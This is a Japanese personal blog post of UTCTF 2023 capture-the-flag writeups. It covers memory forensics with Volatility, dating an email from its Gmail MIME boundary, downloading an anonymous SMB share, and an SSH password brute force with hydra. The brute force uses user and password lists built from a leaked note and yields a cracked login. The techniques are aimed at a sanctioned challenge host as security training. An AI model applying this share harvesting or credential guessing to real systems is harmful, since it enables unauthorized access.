はまやんはまやんはまやん

hamayanhamayan's blog

UTCTF 2023 Writeups

[Forensics] "Easy" Volatility

ありがたいことに、シンボルファイルが与えられているので
cp debian11_5.10.0-21.json ~/.opt/volatility3/volatility3/symbols/
のように配置して、volatility3を回していく。

This challenge's flag looks like a UUID.

ということで各種解析の結果を見ていくと、linux.bashでの出力が気になる。

PID  Process CommandTime Command

467 bash    2023-03-05 18:21:23.000000  # 08ffea76-b232-4768-a815-3cc1c467e813

コメントで実行されていて怪しく、このUUIDを提出すると正答。

[Forensics] What Time is It?

Date: Thu, 2 Mar 2023 03:12:42 +0000

とあるので、受信時間ではあるのだが、念のためこれを送ってみるが、不正解。
それはそうか。

他に時間に直結しそうなものはなく、他のヘッダー情報を色々探ってみる。

色々検索して探してみると以下ページが見つかる。
Dates in Hiding Part 2 — Gmail MIME Boundary Timestamps - Metaspike
これは使えそう。

Content-Type: multipart/alternative; boundary="00000000000093882205f60cdcdb"

これを使って言われた通りに変換する。

000000000000 938822 05f60cdc dbのように分割して、3番目+2番目で05f60cdc938822
hex表現なのでdecimalに変換する。

$ python3 -c 'print(0x05f60cdc938822)'
1677909984249890

先頭の13文字がUnixtimeになっているので、時刻に変換する。
ミリ秒になっているので下3桁をさらに削って変換すると2023-03-04 06:06:24
後はこれを要求に合わせてフラグに変換すると正答。

[Network] A Network Problem - Part 1

nc betta.utctf.live 8080のようにnetcatでつなげるとフラグが得られた。

[Network] A Network Problem - Part 2

smbが用意されているらしいので、とりあえずsmbclientしてみる。
smbclient -N -L //betta.utctf.live

$ smbclient -N -L //betta.utctf.live --port=8445

        Sharename       Type      Comment
        ---------       ----      -------
        WorkShares      Disk      Sharing of work files
        BackUps         Disk      File Backups.
        IPC$            IPC       IPC Service (Samba Server)

とあり、WorkSharesがアクセス可能だったので抜き出してみる。

$ smbclient -N //betta.utctf.live/WorkShares --port=8445
Try "help" to get a list of possible commands.
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file \shares\Advertising\Advertising Plan of size 33 as shares/Advertising/Advertising Plan (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \shares\Advertising\Logos\JACT.png of size 8923 as shares/Advertising/Logos/JACT.png (11.3 KiloBytes/sec) (average 6.1 KiloBytes/sec)
getting file \shares\OfficeFun\JaysCats\Meowfoy.jpg of size 215821 as shares/OfficeFun/JaysCats/Meowfoy.jpg (171.6 KiloBytes/sec) (average 82.1 KiloBytes/sec)
getting file \shares\IT\Itstuff\notetoIT of size 380 as shares/IT/Itstuff/notetoIT (0.6 KiloBytes/sec) (average 65.9 KiloBytes/sec)

\shares\IT\Itstuff\notetoITにフラグが書いてあった。

[Network] A Network Problem - Part 3

sshが開いていて、ブルートフォースが許可されているのでパスワードブルートフォースしてほしいのだろう。
(個人的に注意していることだが、どこからどういちゃもんつけられるか分からないのでブルートフォース系をCTFで解く際はVPNつないでおくといい。)

ユーザー名とパスワードに対してある程度あたりをつけたいが、We've gathered a lot of information at this point, let get access through ssh.とある。
情報を整理して、ユーザー名とパスワードの候補を収集しよう。
特に気になるものとして、前問のフラグが書いてあったnotetoITがある。

I don't understand the fasination with the magic phrase "abracadabra", but too many people are using them as passwords. Crystal Ball, Wade Coldwater, Jay Walker, and Holly Wood all basically have the same password. Can you please reach out to them and get them to change thier passwords or at least get them append a special character?

参考にして、ユーザー名とパスワードの辞書を作成して総当たりするとヒットしてsshで接続するとフラグがもらえる。

$ cat user.txt 
crystal
ball
wade
coldwater
jay
walker
holly
wood
cball
wcoldwater
jwalker
hwood
$ cat pass.txt 
abracadabra
abracadabra!
abracadabra"
abracadabra#
abracadabra$
abracadabra%
abracadabra&
abracadabra'
abracadabra(
abracadabra)
abracadabra*
abracadabra+
abracadabra,
abracadabra-
abracadabra.
abracadabra/
abracadabra0
abracadabra1
abracadabra2
abracadabra3
abracadabra4
abracadabra5
abracadabra6
abracadabra7
abracadabra8
abracadabra9
abracadabra:
abracadabra;
abracadabra<
abracadabra=
abracadabra>
abracadabra?
$ hydra -L user.txt -P pass.txt ssh://betta.utctf.live:8822 -c 1 -t 1
[8822][ssh] host: betta.utctf.live   login: wcoldwater   password: abracadabra$
$ ssh -p 8822 wcoldwater@betta.utctf.live
wcoldwater@betta.utctf.live's password: 
utctf{cust0m3d-lsts-rule!} well done!